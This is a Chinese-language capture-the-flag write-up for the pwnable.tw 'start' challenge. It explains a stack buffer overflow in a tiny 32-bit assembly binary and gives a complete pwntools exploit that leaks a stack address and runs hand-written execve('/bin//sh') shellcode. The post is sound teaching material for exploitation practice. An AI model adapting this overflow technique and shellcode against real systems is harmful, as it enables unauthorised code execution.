当前位置:网站首页>pwnable start
pwnable start
2022-06-10 17:16:00 【amazh】
如果有什么不懂的地方,可以在评论区评论哦,看到就会回答的。
拿到附件以后 checksec一下:

32位程序 没有开启任何保护,放入ida中看一下,只有两个函数_start和_exit,这个题目的源码就不是C代码,本身就是汇编代码,:

我们看汇编代码:
大概流程就是 先压栈esp和exit函数地址,然后压栈字符串,我们可以先运行一下这个程序:
![]()
中间的五次push应该就是压入的这些字符串。
随后 write系统调用 打印这些字符串,然后 read系统调用 让用户写入数据
write了0x14字节大小的字符 read 0x3c 大小的字符
在系统调用的过程中,esp的值是不变的,我们通过gdb动态调试也可以看出来这一点。
在函数的最后 add esp 14h ; ret;在执行这一句之前,栈空间的布局是这样的:
.
add esp 0x14之后 ,esp指向了exit函数,随后ret 执行 exit,这就是整个函数的执行流程。
这个题目的漏洞也是很明显的,就是出在了read系统调用执行的过程,read了0x3c个字节大小的数据,所以我们是可以覆盖到exit函数的地址的,此外NX保护也没有开启,说明栈是可执行的,所以这个题目的大概利用流程就是 将exit()函数地址覆盖位ret,泄露栈的地址,然后栈上写入shellcode
再次覆盖返回地址为shellcode即可了,需要注意的是,pwntools生成的shellcode是44字节的,而我们能写入的shellcode大小为0x3C - 0x14 = 40bytes 所以建议手写汇编,或者在相关网站上搜索shellcode。
exp如下:
from pwn import *
p = process("./start")
e = ELF("./start")
context.log_level = 'debug'
#p = remote("chall.pwnable.tw",1000)
context.arch = "i386"
#gdb.debug(e.path,'b _start')
shellcode = asm( "xor ecx,ecx;xor edx,edx ; push edx;push 0x68732f6e;push 0x69622f2f; mov ebx,esp;mov eax,0xb;int 0x80 ")
write_addr = 0x8048087
payload1 = "a" * 0x14 + p32(write_addr)
p.sendafter(":",payload1)
stack_addr = u32(p.recv(4))
log.success("stack_addr:" + hex(stack_addr))
payload2 = 'a'*0x14 + p32(stack_addr + 0x14) + shellcode
p.send(payload2)
p.interactive()
第一次发送payload后,栈上的布局如下:

第二次payload 发送后:栈上布局如下:

大概就是这样啦!
边栏推荐
- 绘制混淆矩阵
- well! One new star, please look over | elder martial brother and elder martial sister say
- canvas发散的粒子h5动画js特效
- Unity stepping on the pit record: if you inherit monobehavior, the constructor of the class may be called multiple times by unity. Do not initialize the constructor
- 一个WPF开发的打印对话框-PrintDialogX
- Unity踩坑记录:如果继承MonoBehaviour,类的构造函数可能会被Unity调用多次,不要在构造函数做初始化工作
- 信息学奥赛一本通 1280:【例9.24】滑雪 | OpenJudge NOI 2.6 90:滑雪 | 洛谷 P1434 [SHOI2002] 滑雪
- 牛客网:两数之和
- 掌握高性能计算前,我们先了解一下它的历史
- cocoeval函数使用
猜你喜欢

One of the Taobao short video pit avoidance Guide Series -- thoroughly understand Taobao short video

元宇宙的定义和 7 大无限特征

mmdetection之dataloader构建

js模糊阴影跟随动画js特效插件

Penguin E-sports stops, and tiger teeth are hard to walk

线性移动棋

《华为数据之道》读书笔记

绘制混淆矩阵

Mapbox GL development tutorial (11): loading line layers
待办事项桌面插件,办公族的桌面好帮手
随机推荐
Snabbdom virtual DOM (I)
Protocol Gen go grpc 'is not an internal or external command, nor is it a runnable program or batch file
凹印套印原理及影响套印的因素
系统需要把所有文件扫描一遍,并尝试识别视频的封面
Redis general instruction
js模糊阴影跟随动画js特效插件
Abbexa丙烯酰胺-PEG-NHS说明书
【FAQ】运动健康服务REST API接口使用过程中常见问题和解决方法总结
pands pd. Detailed parsing of dataframe() function
IIS安装 部署网站
玩转Pytorch的Function类
The latest good article | interpretable confrontation defense based on causal inference
Why does the universe limit its maximum speed to the speed of light
[the second revolution of report tools] optimize report structure and improve report operation performance based on SPL language
canvas发散的粒子h5动画js特效
CUDA Programming (I): add two arrays
Numpy np set_ Usage of printoptions () -- control output mode
绘制混淆矩阵
丢失的遗传力--Missing heritability
LeetCode 255. Verifying preorder traversal sequence binary search tree*